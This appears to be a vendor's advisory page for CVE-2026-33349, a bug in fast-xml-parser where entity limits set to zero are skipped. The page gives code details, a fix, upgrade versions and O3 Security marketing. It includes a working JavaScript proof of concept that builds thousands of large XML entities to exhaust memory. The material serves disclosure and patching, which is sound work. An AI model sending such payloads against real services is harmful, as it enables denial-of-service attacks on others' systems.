CVE-2026-33349 is a medium-severity (CVSS 5.9) CWE-1284 vulnerability in fast-xml-parser. A fix is available for fast-xml-parser — see the affected versions and patch details below.
fast-xml-parser: Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33349.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33349 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
fast-xml-parsernpmDescription
Summary
The DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.
Details
The OptionsBuilder.js correctly preserves a user-supplied value of 0 using nullish coalescing (??):
// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,
However, DocTypeReader.js uses truthy evaluation to check these limits. Because 0 is falsy in JavaScript, the entire guard expression short-circuits to false, and the limit is never enforced:
// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
this.options.maxEntityCount && // ← 0 is falsy, skips check
entityCount >= this.options.maxEntityCount) {
throw new Error(`Entity count ...`);
}
// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
this.options.maxEntitySize && // ← 0 is falsy, skips check
entityValue.length > this.options.maxEntitySize) {
throw new Error(`Entity "${entityName}" size ...`);
}
The execution flow is:
- Developer configures
processEntities: { maxEntityCount: 0, maxEntitySize: 0 }intending to block all entity definitions. OptionsBuilder.normalizeProcessEntitiespreserves the0values via??(correct behavior).- Attacker supplies XML with a DOCTYPE containing many large entities.
DocTypeReader.readDocTypeevaluatesthis.options.maxEntityCount && ...— since0is falsy, the entire condition isfalse.DocTypeReader.readEntityExpevaluatesthis.options.maxEntitySize && ...— same result.- All entity count and size limits are bypassed; entities are parsed without restriction.
PoC
const { XMLParser } = require("fast-xml-parser");
// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 0, // should mean "zero entities allowed"
maxEntitySize: 0 // should mean "zero-length entities only"
}
});
// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}
const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
${entities}
]>
<foo>&e0;</foo>`;
// This should throw "Entity count exceeds maximum" but does not
try {
const result = parser.parse(xml);
console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
console.log("SAFE:", e.message);
}
// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
processEntities: {
enabled: true,
maxEntityCount: 1,
maxEntitySize: 100
}
});
try {
safeParser.parse(xml);
console.log("ERROR: should have thrown");
} catch (e) {
console.log("CONTROL:", e.message); // "Entity count (2) exceeds maximum allowed (1)"
}
Expected output:
VULNERABLE: parsed without error, entities bypassed limits
CONTROL: Entity count (2) exceeds maximum allowed (1)
Impact
- Denial of Service: An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured
maxEntityCount: 0ormaxEntitySize: 0, intending to prohibit entities entirely. - Security control bypass: Developers who explicitly set restrictive limits to
0receive no protection — the opposite of their intent. This creates a false sense of security. - Scope: Only applications that explicitly set these limits to
0are affected. The default configuration (maxEntityCount: 100,maxEntitySize: 10000) is not vulnerable. Theenabled: falseoption correctly disables entity processing entirely and is not affected.
Recommended Fix
Replace the truthy checks in DocTypeReader.js with explicit type checks that correctly treat 0 as a valid numeric limit:
// src/xmlparser/DocTypeReader.js:30-32 — replace:
if (this.options.enabled !== false &&
this.options.maxEntityCount &&
entityCount >= this.options.maxEntityCount) {
// with:
if (this.options.enabled !== false &&
typeof this.options.maxEntityCount === 'number' &&
entityCount >= this.options.maxEntityCount) {
// src/xmlparser/DocTypeReader.js:128-130 — replace:
if (this.options.enabled !== false &&
this.options.maxEntitySize &&
entityValue.length > this.options.maxEntitySize) {
// with:
if (this.options.enabled !== false &&
typeof this.options.maxEntitySize === 'number' &&
entityValue.length > this.options.maxEntitySize) {
Workaround
If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | fast-xml-parser | ≥ 4.0.0-beta.3&&< 4.5.5 | 4.5.5npm install fast-xml-parser@4.5.5 |
| 📦npm | fast-xml-parser | ≥ 5.0.0&&< 5.5.7 | 5.5.7npm install fast-xml-parser@5.5.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fast-xml-parser, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update fast-xml-parser to 4.5.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33349 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33349 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33349. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Developer Hub 1.10 | rhdh/rhdh-hub-rhel9:1780930740 | RHSA-2026:24841 |
| Red Hat Openshift Data Foundation 4.18 | odf4/cephcsi-rhel9:1786705347 | RHSA-2026:56431 |
Frequently Asked Questions
Is CVE-2026-33349 in your dependencies?
O3 Security finds CVE-2026-33349 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.